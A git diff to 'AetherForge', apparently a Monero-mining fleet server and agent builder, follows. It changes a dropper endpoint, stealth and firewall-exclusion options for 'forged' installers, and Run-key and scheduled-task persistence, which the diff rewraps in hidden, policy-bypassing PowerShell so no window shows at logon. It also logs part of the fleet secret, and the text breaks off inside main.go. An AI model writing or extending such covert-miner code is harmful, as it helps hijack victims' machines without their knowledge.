diff --git a/LAUNCH.bat b/LAUNCH.bat index 7a62852..f47ad34 100644 --- a/LAUNCH.bat +++ b/LAUNCH.bat @@ -106,7 +106,18 @@ if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" :: ---------------------------------------------------------------- -:: 5. Detect LAN IP for display +:: 5. Configure optional Cloudflare tunnel (foreground process, no service) +:: ---------------------------------------------------------------- +set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe" +set "CF_PID_FILE=%ROOT%\data\cloudflared.pid" +set "CF_TUNNEL_TOKEN=" +if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%" +if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" ( + set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt" +) + +:: ---------------------------------------------------------------- +:: 6. Detect LAN IP for display :: ---------------------------------------------------------------- set "SERVER_PORT=8989" for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( @@ -118,9 +129,10 @@ set "LAN_IP=localhost" set "LAN_IP=%LAN_IP: =%" :: ---------------------------------------------------------------- -:: 6. Kill any stale server process +:: 7. Kill any stale server and tunnel processes :: ---------------------------------------------------------------- taskkill /F /IM AetherForge.exe >nul 2>nul +taskkill /F /IM cloudflared.exe >nul 2>nul ping -n 2 127.0.0.1 >nul echo. @@ -136,6 +148,30 @@ echo Press Ctrl+C to stop. echo ================================================================ echo. +:: Start optional Cloudflare tunnel for this launcher session only. +if defined CF_TUNNEL_TOKEN ( + if not exist "%ROOT%\tools" mkdir "%ROOT%\tools" + if not exist "%CLOUDFLARED_BIN%" ( + echo [Tunnel] Downloading cloudflared.exe... + powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }" + ) + if exist "%CLOUDFLARED_BIN%" ( + del "%CF_PID_FILE%" 2>nul + echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^). + powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id" + if errorlevel 1 ( + echo [Tunnel] WARNING: cloudflared failed to start. + ) else ( + echo [Tunnel] Tunnel process started. It will stop when this launcher exits. + ) + ) else ( + echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped. + ) +) else ( + echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN. +) +echo. + :: Open browser after short delay start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" @@ -143,6 +179,13 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "EC=!ERRORLEVEL!" +if exist "%CF_PID_FILE%" ( + for /f "usebackq" %%P in ("%CF_PID_FILE%") do ( + powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul + ) + del "%CF_PID_FILE%" 2>nul +) + echo. if "!EC!"=="0" ( echo [Server] Stopped normally. diff --git a/agent/client/client.go b/agent/client/client.go index 87547a6..11c6b77 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -302,7 +302,10 @@ func (c *AgentClient) handleMessage(msg Message) { if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" { log.Printf("[agent] job error from server: %s", msg) } - c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + // Back off 3 seconds before retrying — pool may still be connecting. + time.AfterFunc(3*time.Second, func() { + c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + }) return } var j job.Job @@ -312,7 +315,9 @@ func (c *AgentClient) handleMessage(msg Message) { } if j.Blob == "" { log.Printf("[agent] empty job blob — requesting job again") - c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + time.AfterFunc(3*time.Second, func() { + c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + }) return } log.Printf("[agent] new job %s height=%d", j.ID, j.Height) diff --git a/agent/deploy/platform_windows.go b/agent/deploy/platform_windows.go index ef3f66e..119b9c4 100644 --- a/agent/deploy/platform_windows.go +++ b/agent/deploy/platform_windows.go @@ -29,7 +29,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { return err } defer k.Close() - return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag)) + // Wrap in PowerShell so the console window is suppressed on startup. + val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, + strings.ReplaceAll(binPath, `'`, `''`), runFlag) + return k.SetStringValue(PersistenceKeyName(cfg), val) } func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { @@ -114,11 +117,16 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error { if taskName == "" { taskName = "CryptoMinerAgent" } + safeBin := strings.ReplaceAll(binPath, `'`, `''`) + safeTask := strings.ReplaceAll(taskName, `'`, `''`) + // Wrap in PowerShell with -WindowStyle Hidden so no console window appears. + // RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop + // from spamming the screen. The watchdog covers longer-term health. + psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag) script := fmt.Sprintf( - `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, - strings.ReplaceAll(binPath, `'`, `''`), - runFlag, - strings.ReplaceAll(taskName, `'`, `''`), + `$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, + strings.ReplaceAll(psArg, `'`, `''`), + safeTask, ) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) return cmd.Run() diff --git a/server/config.go b/server/config.go index 7e6a402..50e2a88 100644 --- a/server/config.go +++ b/server/config.go @@ -11,7 +11,7 @@ import ( type Config struct { Port int `json:"port"` - DataDir string `json:"data_dir"` + DataDir string `json:"-"` // set from -data CLI flag; never written to config.json Pool PoolConfig `json:"pool"` Wallet WalletConfig `json:"wallet"` diff --git a/server/internal/alerts/evaluator.go b/server/internal/alerts/evaluator.go index dd23030..979ed88 100644 --- a/server/internal/alerts/evaluator.go +++ b/server/internal/alerts/evaluator.go @@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent) type Evaluator struct { db *db.Database thresholds func() Thresholds - notify NotifyConfig + notify func() NotifyConfig broadcast Broadcaster mu sync.Mutex baseline map[string]float64 @@ -40,7 +40,7 @@ type Evaluator struct { cooldown time.Duration } -func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify NotifyConfig, broadcast Broadcaster) *Evaluator { +func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator { return &Evaluator{ db: database, thresholds: thresholds, @@ -180,7 +180,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) { e.mu.Unlock() log.Printf("[Alert] %s: %s", ev.Type, ev.Message) - NotifyAll(e.notify, "AetherForge "+ev.Type, ev.Message) + NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message) if e.broadcast != nil { e.broadcast(ev) } diff --git a/server/internal/alerts/evaluator_test.go b/server/internal/alerts/evaluator_test.go index 597640a..d8f2b3b 100644 --- a/server/internal/alerts/evaluator_test.go +++ b/server/internal/alerts/evaluator_test.go @@ -17,6 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) { var fired []AlertEvent e := &Evaluator{ thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} }, + notify: func() NotifyConfig { return NotifyConfig{} }, broadcast: func(ev AlertEvent) { fired = append(fired, ev) }, baseline: make(map[string]float64), lastFired: make(map[string]time.Time), diff --git a/server/internal/api/dropper_handler.go b/server/internal/api/dropper_handler.go index cf0107f..8737f26 100644 --- a/server/internal/api/dropper_handler.go +++ b/server/internal/api/dropper_handler.go @@ -207,6 +207,10 @@ func (h *DropperHandler) resolveBase(r *http.Request) string { if r.TLS != nil { scheme = "https" } + // Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel). + if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" { + scheme = "https" + } // Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host. host := r.Header.Get("X-Forwarded-Host") if host == "" { diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index 756e144..ca9796e 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -417,6 +417,55 @@ func EstimateXMRPerDay(hashrate float64) map[string]interface{} { } } +// DeleteAgent removes an agent record from the database. +// If the agent is currently online it is also disconnected (kicked). +func (f *FleetHandler) DeleteAgent(w http.ResponseWriter, r *http.Request) { + id := chi.URLParam(r, "id") + if id == "" { + http.Error(w, "missing agent id", http.StatusBadRequest) + return + } + // Kick live connection first (non-fatal if offline). + if f.ws != nil { + _ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})}) + f.ws.RemoveAgent(id) + } + if err := f.db.DeleteAgent(id); err != nil { + http.Error(w, "delete failed: "+err.Error(), http.StatusInternalServerError) + return + } + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(map[string]bool{"success": true}) +} + +// BulkDeleteAgents deletes multiple agents from the database in one call. +func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request) { + var req struct { + IDs []string `json:"ids"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.IDs) == 0 { + http.Error(w, "ids required", http.StatusBadRequest) + return + } + deleted := 0 + for _, id := range req.IDs { + if f.ws != nil { + _ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})}) + f.ws.RemoveAgent(id) + } + if err := f.db.DeleteAgent(id); err == nil { + deleted++ + } + } + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted}) +} + +func mustMarshalFleet(v interface{}) json.RawMessage { + b, _ := json.Marshal(v) + return b +} + func parseFloatQuery(r *http.Request, key string, def float64) float64 { v := r.URL.Query().Get(key) if v == "" { diff --git a/server/internal/api/fleet_handler_test.go b/server/internal/api/fleet_handler_test.go index 1fdd642..dd20d6d 100644 --- a/server/internal/api/fleet_handler_test.go +++ b/server/internal/api/fleet_handler_test.go @@ -182,7 +182,7 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) { evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { return alerts.Thresholds{OfflineMinutes: 5} - }, alerts.NotifyConfig{}, nil) + }, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil) evaluator.RunOnce() fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 55b93c0..e05021c 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -444,7 +444,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand) r.Get("/agents/{id}/log", fleetHandler.GetAgentLog) r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta) + r.Delete("/agents/{id}", fleetHandler.DeleteAgent) r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand) + r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents) } // Fleet ops diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index af65a7f..aab20ed 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -60,9 +60,13 @@ type Message struct { } type AgentConnection struct { - AgentID string - Conn *websocket.Conn - mu sync.Mutex + AgentID string + Conn *websocket.Conn + mu sync.Mutex + // Latency tracking — updated each ping/pong cycle. + latencyMu sync.Mutex + pingSentAt time.Time + LatencyMs *int // nil until first pong received } func (c *AgentConnection) SendJSON(v interface{}) error { @@ -177,6 +181,35 @@ func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) { } } +// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong. +func (h *WSHub) runPingLoopAgent(ac *AgentConnection) { + interval := h.pingInterval() + ticker := time.NewTicker(interval) + defer ticker.Stop() + + conn := ac.Conn + _ = conn.SetReadDeadline(time.Now().Add(interval * 2)) + conn.SetPongHandler(func(string) error { + // Measure RTT. + ac.latencyMu.Lock() + if !ac.pingSentAt.IsZero() { + ms := int(time.Since(ac.pingSentAt).Milliseconds()) + ac.LatencyMs = &ms + } + ac.latencyMu.Unlock() + return conn.SetReadDeadline(time.Now().Add(interval * 2)) + }) + + for range ticker.C { + ac.latencyMu.Lock() + ac.pingSentAt = time.Now() + ac.latencyMu.Unlock() + if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil { + return + } + } +} + func (h *WSHub) runPingLoopDash(dc *DashboardConn) { interval := h.pingInterval() ticker := time.NewTicker(interval) @@ -263,13 +296,17 @@ func (h *WSHub) getAgentConn(agentID string) *AgentConnection { } func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { + clientIP := r.Header.Get("X-Forwarded-For") + if clientIP == "" { + clientIP = r.RemoteAddr + } + log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin")) conn, err := upgrader.Upgrade(w, r, nil) if err != nil { - log.Printf("WebSocket upgrade error: %v", err) + log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err) return } - - go h.runPingLoopRaw(conn) + log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP) agentID := "" defer func() { @@ -351,17 +388,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { continue } - // Verify fleet secret. If the server has one configured, the agent must match. - h.mu.RLock() - requiredSecret := h.fleetSecret - h.mu.RUnlock() - if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) { - conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ - "success": false, "error": "invalid fleet secret — re-forge this agent", - })}) - log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID) - return - } + // Verify fleet secret. If the server has one configured, the agent must match. + h.mu.RLock() + requiredSecret := h.fleetSecret + h.mu.RUnlock() + log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret) + if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) { + conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ + "success": false, "error": "invalid fleet secret — re-forge this agent", + })}) + log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID) + return + } agentID = auth.AgentID if agentID == "" { @@ -410,8 +448,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } // Build backup pool.Config list from what the agent sent at auth. - // These are registered on the proxy so reconnect() rotates through - // them automatically — not just at initial connect. var backupCfgs []pool.Config for _, bp := range backupPools { if bp.Host == "" || bp.Port <= 0 { @@ -431,9 +467,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { backupCfgs = append(backupCfgs, bpc) } - if _, err := h.poolManager.EnsurePoolWithBackups(&poolCfg, backupCfgs); err != nil { - log.Printf("[WS] All pools failed for agent %s (%d backups tried) — agent will mine when pool reconnects", agentID, len(backupCfgs)) - } + // Connect to pool in background — do NOT block the auth_response. + // The agent can start and the pool proxy will be ready by the time + // the first share is submitted. + go func(pc pool.Config, bcs []pool.Config, aid string) { + if _, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs); err != nil { + log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err) + } + }(poolCfg, backupCfgs, agentID) } if h.aiHandler != nil && forgeCfg.AIEnabled { @@ -461,6 +502,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { Platform: auth.Platform, Arch: auth.Arch, OSVersion: auth.OSVersion, + Hostname: auth.Hostname, Capabilities: &caps, } @@ -496,14 +538,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { oldConn.Close() h.mu.Lock() } - h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn} + ac := &AgentConnection{AgentID: agentID, Conn: conn} + h.agents[agentID] = ac h.mu.Unlock() + // Start the RTT-aware ping loop now that we have an AgentConnection. + go h.runPingLoopAgent(ac) + conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": true, "agent_id": agentID, })}) + // Enrich agent with hostname before broadcasting so the dashboard + // immediately shows the correct machine-specific display name. + agent.Hostname = auth.Hostname + h.broadcastDashboard(Message{ Type: "agent_online", Payload: mustMarshal(agent), @@ -659,6 +709,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if len(stats.Services) > 0 { broadcast["services"] = stats.Services } + // Attach latest RTT latency from the ping loop. + if ac := h.getAgentConn(agentID); ac != nil { + ac.latencyMu.Lock() + if ac.LatencyMs != nil { + broadcast["latency_ms"] = *ac.LatencyMs + } + ac.latencyMu.Unlock() + } h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)}) case "submit_share": @@ -751,11 +809,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { var proxy *pool.Proxy if h.poolManager != nil { poolCfg := h.agentPoolConfig(agentID) + // Only use GetPool (non-blocking). If the pool hasn't connected yet + // (background EnsurePoolWithBackups from auth is still dialing), kick + // off another async attempt rather than blocking the WS read loop. proxy = h.poolManager.GetPool(&poolCfg) if proxy == nil { - if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil { - proxy = p - } + go func(pc pool.Config) { + if p, err := h.poolManager.EnsurePool(&pc); err != nil { + log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err) + } else { + _ = p + } + }(poolCfg) } } if proxy != nil { @@ -763,10 +828,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if job != nil { conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)}) } else { - conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available"})}) + conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})}) } } else { - conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})}) + conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})}) } case "log_tail": @@ -920,6 +985,29 @@ func (h *WSHub) SendToAgent(agentID string, msg Message) error { return agent.SendJSON(msg) } +// RemoveAgent forcibly disconnects an agent and removes it from the live map. +// It then broadcasts agent_deleted to all dashboard clients so the UI removes +// the agent immediately without waiting for the disconnect goroutine to fire. +func (h *WSHub) RemoveAgent(agentID string) { + h.mu.Lock() + if ac, ok := h.agents[agentID]; ok { + // Nil the map entry BEFORE closing so the agent goroutine's deferred + // cleanup (which checks cur.Conn == conn) falls into the else branch + // and skips SetAgentOffline — avoiding a write to an already-deleted row. + delete(h.agents, agentID) + delete(h.agentConfigs, agentID) + delete(h.agentLogs, agentID) + delete(h.agentCapabilities, agentID) + ac.Conn.Close() + } + h.mu.Unlock() + // Broadcast deletion so every connected dashboard removes the agent immediately. + h.broadcastDashboard(Message{ + Type: "agent_deleted", + Payload: mustMarshal(map[string]string{"agent_id": agentID}), + }) +} + // SendAgentCommand sends a remote command to an agent. func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error { payload := map[string]interface{}{"action": action} @@ -970,17 +1058,23 @@ func (h *WSHub) BroadcastAIActivity(entry interface{}) { h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)}) } +// agentDisplayName returns a display name that is unique per physical machine. +// Hostname is preferred because it's machine-specific — many agents deployed from +// the same binary would otherwise share the same baked-in worker name, making +// a large fleet impossible to differentiate. func agentDisplayName(workerName, worker, hostname, agentID string) string { - if workerName != "" { - return workerName - } - if worker != "" { - return worker - } if hostname != "" { return hostname } - return shortAgentID(agentID) + // No hostname reported — make the worker name unique with a short agent ID suffix. + base := workerName + if base == "" { + base = worker + } + if base == "" { + base = "agent" + } + return base + "-" + shortAgentID(agentID) } func shortAgentID(id string) string { diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 452cb99..9e109b0 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -450,8 +450,11 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) { http.Error(w, "Build not found", http.StatusNotFound) return } - uninstallPath := strings.TrimSuffix(build.FilePath, filepath.Base(build.FilePath)) + - fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)) + // Uninstall script lives in buildDir (builds//), NOT in the platform + // sub-directory where the binary lives (builds//windows-amd64/). + // Compute directly from dataDir + buildID to avoid path-stripping mistakes. + buildDir := filepath.Join(h.dataDir, "builds", buildID) + uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))) if _, err := os.Stat(uninstallPath); err != nil { http.Error(w, "Uninstall script missing", http.StatusNotFound) return @@ -1069,7 +1072,7 @@ func formatGoBackupPools(pools []BackupPool) string { return "nil" } var sb strings.Builder - sb.WriteString("[]config.BackupPool{") + sb.WriteString("[]BackupPool{") for i, p := range pools { if i > 0 { sb.WriteString(", ") diff --git a/server/internal/builder/uninstall.go b/server/internal/builder/uninstall.go index 11c10fc..0835565 100644 --- a/server/internal/builder/uninstall.go +++ b/server/internal/builder/uninstall.go @@ -76,6 +76,15 @@ func generateUninstallScript(buildID string, req *BuildRequest) string { installRel := expandInstallRelativePath(req, buildID) installBase := resolveInstallBasePS(req) + firewallBool := "$false" + if req.FirewallExclusion { + firewallBool = "$true" + } + pauseBool := "$false" + if !req.StealthMode { + pauseBool = "$true" + } + return fmt.Sprintf(`# AetherForge Miner Uninstaller # Worker: %s # Generated alongside forged installer — run as the same Windows user who installed the miner. @@ -112,25 +121,22 @@ if (Test-Path $ExpectedExe) { Write-Host "Removing persistence..." Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue +Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue -if (%t) { +if (%s) { Write-Host "Removing Windows Firewall rules..." Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue } -if ($true) { - Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue -} - Write-Host "Removing install directory: $InstallDir" if ($InstallDir -and (Test-Path $InstallDir)) { Remove-Item -LiteralPath $InstallDir -Recurse -Force } Write-Host "Done. Miner removed." -if (%t) { Read-Host 'Press Enter to close' } -`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), req.FirewallExclusion, !req.StealthMode) +if (%s) { Read-Host 'Press Enter to close' } +`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), firewallBool, pauseBool) } func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) { diff --git a/server/internal/db/agent_meta.go b/server/internal/db/agent_meta.go index e01be32..9523f6e 100644 --- a/server/internal/db/agent_meta.go +++ b/server/internal/db/agent_meta.go @@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface { &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, - ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, + ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, ) if err != nil { return nil, err @@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface { const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, - cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version` + cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname` func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 004996b..0424b68 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -124,6 +124,7 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`) return nil } @@ -131,8 +132,8 @@ func (d *Database) migrate() error { // Agent operations func (d *Database) UpsertAgent(a *models.Agent) error { - query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?) + query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?) ON CONFLICT(id) DO UPDATE SET name = excluded.name, wallet = excluded.wallet, @@ -144,8 +145,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error { last_seen = excluded.last_seen, platform = excluded.platform, arch = excluded.arch, - os_version = excluded.os_version` - _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion) + os_version = excluded.os_version, + hostname = excluded.hostname` + _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname) return err } @@ -165,6 +167,11 @@ func (d *Database) SetAgentOffline(id string) error { return err } +func (d *Database) DeleteAgent(id string) error { + _, err := d.Exec("DELETE FROM agents WHERE id = ?", id) + return err +} + func (d *Database) GetAgent(id string) (*models.Agent, error) { query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?` return d.scanAgent(d.QueryRow(query, id)) diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index a3a10b9..0680b1e 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -31,6 +31,10 @@ type Agent struct { Platform string `json:"platform,omitempty"` Arch string `json:"arch,omitempty"` OSVersion string `json:"os_version,omitempty"` + Hostname string `json:"hostname,omitempty"` + + // Live connection quality — not persisted, set by WSHub each stats cycle. + LatencyMs *int `json:"latency_ms,omitempty"` Capabilities *AgentCapabilities `json:"capabilities,omitempty"` diff --git a/server/main.go b/server/main.go index 3d8c059..e0db327 100644 --- a/server/main.go +++ b/server/main.go @@ -202,16 +202,19 @@ func main() { HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct, RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct, } - }, alerts.NotifyConfig{ - TelegramBotToken: cfg.Alerts.TelegramBotToken, - TelegramChatID: cfg.Alerts.TelegramChatID, - EmailEnabled: cfg.Alerts.EmailEnabled, - SMTPHost: cfg.Alerts.SMTPHost, - SMTPPort: 